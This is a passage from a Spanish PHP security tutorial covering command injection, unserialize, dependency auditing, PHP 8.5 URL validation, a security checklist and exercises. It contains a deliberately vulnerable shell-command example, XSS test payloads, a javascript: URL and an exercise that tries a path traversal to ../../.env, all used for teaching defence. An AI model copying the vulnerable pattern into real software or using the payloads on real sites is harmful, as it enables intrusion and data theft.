⚠️ Importante: Ocultar un botón en la interfaz no es control de acceso. Comprueba los permisos en el servidor, en cada petición, para cada recurso.

unserialize() con datos externos (A08)

unserialize() puede crear objetos de cualquier clase y disparar sus métodos mágicos; con datos del usuario abre la puerta a la ejecución de código. Para intercambiar datos usa JSON (json_encode/json_decode). Si no tienes más remedio, usa unserialize($datos, ['allowed_classes' => false]).

Inyección de comandos

<?php
// ❌ VULNERABLE
system('convert ' . $_GET['fichero'] . ' salida.png');

// ✅ Escapar cada argumento (y mejor aún, evitar llamar a la shell)
system('convert ' . escapeshellarg($fichero) . ' salida.png');

14. Mantener PHP y las dependencias actualizados

Muchas intrusiones no explotan tu código, sino una versión antigua de PHP o de una librería con una vulnerabilidad conocida y pública.

  • Usa una versión de PHP con soporte de seguridad (consulta php.net/supported-versions). Cada rama recibe dos años de soporte activo y dos más de parches de seguridad.
  • Revisa tus dependencias con composer audit, que las compara con la base de datos de avisos de seguridad de Packagist:
composer audit

Si hay algún problema, la salida es parecida a esta (el paquete del ejemplo es ficticio):

Found 1 security vulnerability advisory affecting 1 package:
+-------------------+----------------------------------------------------------------+
| Package           | vendor/libreria                                                |
| Severity          | high                                                           |
| CVE               | CVE-2026-XXXXX                                                 |
| Title             | Remote code execution via crafted input                        |
| Affected versions | <2.4.1                                                         |
+-------------------+----------------------------------------------------------------+
# Actualizar respetando las restricciones de composer.json
composer update vendor/libreria

# Ver qué paquetes tienen versiones nuevas
composer outdated --direct

💡 Consejo: Composer ejecuta la auditoría automáticamente al hacer composer update o composer require. Añádelo también a tu integración continua (GitHub Actions, módulo 18) y activa Dependabot o Renovate en tu repositorio para recibir avisos de actualizaciones.


15. Validar URLs con la extensión URI de PHP 8.5

Muchas aplicaciones reciben URLs del usuario: “redirigir después del login a…”, “importar desde esta URL”, “web personal”. Validarlas mal produce redirecciones abiertas (open redirect, útiles para phishing) o SSRF (que tu servidor haga peticiones a direcciones internas).

📘 Concepto: Hasta ahora se usaba parse_url(), pero no sigue ningún estándar: en URLs raras o malformadas puede interpretar el host de forma distinta a como lo hacen el navegador o cURL. Si tu validación “ve” un host y quien después usa la URL “ve” otro, el atacante tiene una vía para saltarse la comprobación. PHP 8.5 incorpora la extensión URI, siempre disponible, con dos analizadores que siguen estándares: Uri\Rfc3986\Uri (RFC 3986, el estándar general de URIs) y Uri\WhatWg\Url (el estándar WHATWG URL, el que usan los navegadores).

<?php
declare(strict_types=1);

use Uri\Rfc3986\Uri;

$uri = new Uri('https://usuario@tienda.example:8443/productos/buscar?q=teclado#resultados');

echo $uri->getScheme(), PHP_EOL;   // https
echo $uri->getUserInfo(), PHP_EOL; // usuario
echo $uri->getHost(), PHP_EOL;     // tienda.example
echo $uri->getPort(), PHP_EOL;     // 8443
echo $uri->getPath(), PHP_EOL;     // /productos/buscar
echo $uri->getQuery(), PHP_EOL;    // q=teclado
echo $uri->getFragment(), PHP_EOL; // resultados

// Los objetos son inmutables: los métodos with*() devuelven una copia
$otra = $uri->withPath('/ofertas')->withQuery(null)->withFragment(null);
echo $otra->toString(), PHP_EOL;   // https://usuario@tienda.example:8443/ofertas

// URL inválida: el constructor lanza excepción; parse() devuelve null
var_dump(Uri::parse('https://exa mple.com')); // NULL

Evitar redirecciones abiertas

Como el destino de una redirección lo interpreta el navegador, lo coherente es validarlo con el estándar WHATWG:

<?php
declare(strict_types=1);

use Uri\WhatWg\Url;

/**
 * Devuelve una URL de redirección segura: solo se permite nuestro propio dominio.
 */
function destinoSeguro(string $destino, string $porDefecto = '/'): string
{
    $base = new Url('https://mitienda.es/');

    // parse() resuelve también rutas relativas como "/cuenta" respecto a la base
    $url = Url::parse($destino, $base);

    if ($url === null
        || $url->getScheme() !== 'https'
        || $url->getAsciiHost() !== 'mitienda.es') {
        return $porDefecto;
    }

    return $url->toAsciiString();
}

echo destinoSeguro('/cuenta/pedidos'), PHP_EOL;              // https://mitienda.es/cuenta/pedidos
echo destinoSeguro('https://mitienda.es/carrito'), PHP_EOL;  // https://mitienda.es/carrito
echo destinoSeguro('https://malo.example/login'), PHP_EOL;   // /
echo destinoSeguro('//malo.example'), PHP_EOL;               // /
echo destinoSeguro('javascript:alert(1)'), PHP_EOL;          // /

// Uso tras el login
header('Location: ' . destinoSeguro($_GET['volver'] ?? '/'));
  parse_url() Uri\Rfc3986\Uri Uri\WhatWg\Url
Estándar Ninguno RFC 3986 WHATWG URL (navegadores)
Valida la URL No (devuelve partes “a lo que salga”) Sí Sí
Resuelve URLs relativas No Sí Sí
Normaliza (mayúsculas, IDN, puntos) No Parcial Sí
Modificar componentes No with*() inmutables with*() inmutables
Ideal para Código antiguo APIs, URIs genéricas Lo que va a abrir un navegador

⚠️ Importante: Para evitar SSRF cuando tu servidor descarga algo de una URL del usuario, validar la URL no es suficiente: además tienes que comprobar que el host no resuelve a una IP privada o local (127.0.0.1, 10.x, 192.168.x, 169.254.169.254…) y limitar redirecciones. Siempre que puedas, usa una lista blanca de dominios permitidos.


16. Checklist de seguridad

Antes de publicar una aplicación PHP, repasa esta lista:

Área Comprobación
Configuración display_errors = Off, log_errors = On, expose_php = Off, allow_url_include = Off
Carpetas Solo public/ es accesible desde la web; .env, vendor/, src/, logs y subidas privadas quedan fuera
Secretos Credenciales en variables de entorno; .env en .gitignore; nada sensible en Git
SQL Todas las consultas con datos usan prepare(); EMULATE_PREPARES a false; usuario de BD con permisos mínimos
XSS Todo dato dinámico se imprime con e(); JSON en scripts con JSON_HEX_*; URLs validadas
CSRF Todos los formularios POST llevan token y se verifica con hash_equals()
Contraseñas password_hash() / password_verify(); columna VARCHAR(255); rehash al hacer login
Sesiones Cookies HttpOnly, Secure, SameSite; session_regenerate_id(true) al hacer login; caducidad
Login Mensaje de error genérico; límite de intentos; registro de fallos en el log
Acceso Permisos comprobados en el servidor para cada recurso (no solo “está logueado”)
Ficheros MIME real, tamaño máximo, nombre aleatorio, fuera de public/ o sin ejecución
Rutas Nada de include/readfile con datos del usuario sin lista blanca o realpath()
Cabeceras CSP, X-Content-Type-Options, frame-ancestors, Referrer-Policy, HSTS
Transporte HTTPS en todo el sitio, redirección desde HTTP
Aleatoriedad Tokens con random_bytes() / Random\Randomizer; nunca rand() ni uniqid()
Dependencias PHP con soporte; composer audit sin avisos; actualizaciones periódicas
URLs Redirecciones validadas con Uri\WhatWg\Url y lista blanca de hosts

17. Ejercicios

Ejercicio 1: Cazar el XSS

Crea un libro de visitas (formulario con nombre y mensaje que se guardan en un fichero JSON o en una tabla) sin escapar la salida. Comprueba que puedes inyectar <script>alert('XSS')</script> y <img src=x onerror=alert(1)>. Después corrígelo con el helper e() y verifica en el código fuente de la página cómo aparecen ahora los mensajes.

Ejercicio 2: Inyección SQL en un login

Crea una tabla usuarios y un login vulnerable que concatene el email en el SQL. Consigue entrar sin conocer ninguna contraseña. Después reescríbelo con consulta preparada, password_verify() y un mensaje de error genérico, y comprueba que el ataque ya no funciona.

Ejercicio 3: Protección CSRF completa

Crea src/csrf.php con csrfToken(), csrfCampo() y verificarCsrf(). Añade el token al formulario de “cambiar email” de una cuenta de usuario. Crea en otra carpeta (servida en otro puerto, por ejemplo php -S localhost:9000) una página “maliciosa” que envíe el formulario automáticamente y comprueba que tu aplicación la rechaza con un 403.

Ejercicio 4: Registro con contraseñas seguras

Implementa un registro y login que: exija contraseñas de al menos 12 caracteres, rechace las de una lista de 20 contraseñas comunes (123456789012, contraseña123…), guarde el hash con PASSWORD_DEFAULT y aplique password_needs_rehash() en el login. Cambia después el coste a 13 y comprueba en la base de datos que el hash de un usuario se actualiza al iniciar sesión.

Ejercicio 5: Descargas seguras

Crea una carpeta privado/facturas/ fuera de public/ con varios PDF. Escribe descargar.php?id=N que busque en una tabla facturas (id, usuario_id, fichero) el fichero correspondiente, compruebe que pertenece al usuario de la sesión y lo sirva con las cabeceras adecuadas. Intenta acceder a la factura de otro usuario y a ../../.env.

Ejercicio 6: Cabeceras y CSP

Añade la función enviarCabecerasSeguridad() a una de tus páginas con Bootstrap desde jsDelivr. Comprueba en las herramientas de desarrollo del navegador (pestaña Red) que las cabeceras llegan. Añade un <script>alert(1)</script> en línea y observa en la consola cómo la CSP lo bloquea. Muévelo a un fichero app.js y verifica que entonces sí se ejecuta.

Ejercicio 7: Login con límite de intentos y recuperación de contraseña

Implementa la clase LimitadorLogin y añádela a tu login. Después crea el flujo de “he olvidado mi contraseña”: genera un token con random_bytes(32), guarda su hash SHA-256 con caducidad de 1 hora, “envía” el enlace (muéstralo en pantalla o escríbelo en un log) y permite cambiar la contraseña una sola vez con él.

Ejercicio 8: Redirección segura tras el login

Haz que el login acepte un parámetro ?volver= para redirigir al usuario a la página que intentaba ver. Implementa destinoSeguro() con Uri\WhatWg\Url y prueba con al menos seis destinos distintos (rutas relativas, tu dominio, otro dominio, //otro.example, javascript:, una URL malformada), mostrando el resultado de cada uno en una tabla.


Resumen

Riesgo / Tema Defensa en PHP
XSS htmlspecialchars($x, ENT_QUOTES \| ENT_SUBSTITUTE, 'UTF-8') mediante e()
Datos en JavaScript json_encode($x, JSON_HEX_TAG \| JSON_HEX_AMP \| JSON_HEX_APOS \| JSON_HEX_QUOT)
Inyección SQL $pdo->prepare() + execute(); listas blancas para columnas
CSRF Token bin2hex(random_bytes(32)) en sesión + hash_equals() + SameSite
Contraseñas password_hash(), password_verify(), password_needs_rehash()
Sesiones session_regenerate_id(true), cookies HttpOnly/Secure/SameSite
Subidas finfo, nombre aleatorio, fuera de public/
Path traversal basename(), realpath(), str_starts_with()
Inclusión de ficheros Lista blanca de páginas
Cabeceras CSP, nosniff, frame-ancestors, HSTS, Referrer-Policy
Secretos .env fuera de public/ y de Git; getenv(), $_ENV
Aleatoriedad random_bytes(), random_int(), Random\Randomizer
Fuerza bruta Límite de intentos por email e IP
Dependencias composer audit, PHP con soporte
URLs (8.5) Uri\Rfc3986\Uri, Uri\WhatWg\Url en lugar de parse_url()